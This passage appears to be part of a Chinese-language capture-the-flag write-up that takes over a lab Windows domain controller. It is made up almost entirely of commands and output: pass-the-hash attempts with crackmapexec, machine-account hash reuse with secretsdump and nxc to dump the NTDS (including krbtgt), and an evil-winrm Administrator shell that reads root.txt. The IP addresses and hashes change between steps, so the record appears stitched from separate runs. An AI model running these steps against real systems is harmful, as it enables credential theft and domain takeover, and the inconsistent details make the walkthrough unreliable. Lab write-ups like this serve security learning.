up...可以拿到administrator的NTLM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::尝试登录,失败
crackmapexec smb 192.168.56.126 -u administrator -H 209c6174da490caeb422f3fa5a7ae634SMB 192.168.56.126 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)SMB 192.168.56.126 445 DC01 [-] SOUPEDECODE.LOCAL\\administrator:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE现在还存在机器账户的hash $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:159de75b1e7662879be6482554b90e55枚举看是哪台机子的哈希,得出来是DC01$的
crackmapexec smb 192.168.56.126 -u username.txt -H 159de75b1e7662879be6482554b90e55SMB 192.168.56.126 445 DC01 [+] SOUPEDECODE.LOCAL\\DC01$:159de75b1e7662879be6482554b90e55得到是DC01$的hash后,再次进行secretsdump.py 获取Administrator的hash
┌──(kali㉿kali)-[~/temp/DC02]└─$ impacket-secretsdump 'SOUPEDECODE.LOCAL/DC01$@192.168.10.107' -hashes 'aad3b435b51404eeaad3b435b51404ee:f57e704569f3ff005004963445e0438c' > log3
┌──(kali㉿kali)-[~/temp/DC02]└─$ cat log3 | grep ":500:"Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::┌──(kali㉿kali)-[/mnt/hgfs/gx/x]└─$ nxc smb 192.168.205.146 -u 'DC01$' -H 'aa905227fd1b4142a01a09912606af5c' --ntds[+] Dumping the NTDS, this could take a while so go grab a redbull...SMB 192.168.205.146 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::SMB 192.168.205.146 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SMB 192.168.205.146 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::SMB 192.168.205.146 445 DC01 soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::利用凭证获取shell
┌──(root㉿kali)-[/home/…/Desktop/hmv/DC02/share]└─# evil-winrm -i 172.16.55.130 -u 'administrator' -H '8982babd4da89d33210779a6c5b078bd'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../*Evil-WinRM* PS C:\Users\Administrator> cd desktop*Evil-WinRM* PS C:\Users\Administrator\desktop> ls
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name---- ------------- ------ -----a---- 6/12/2024 1:01 PM 33 root.txt
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txtd41d8cd98f00b204e9800998ecf8427e*Evil-WinRM* PS C:\Users\Administrator\desktop>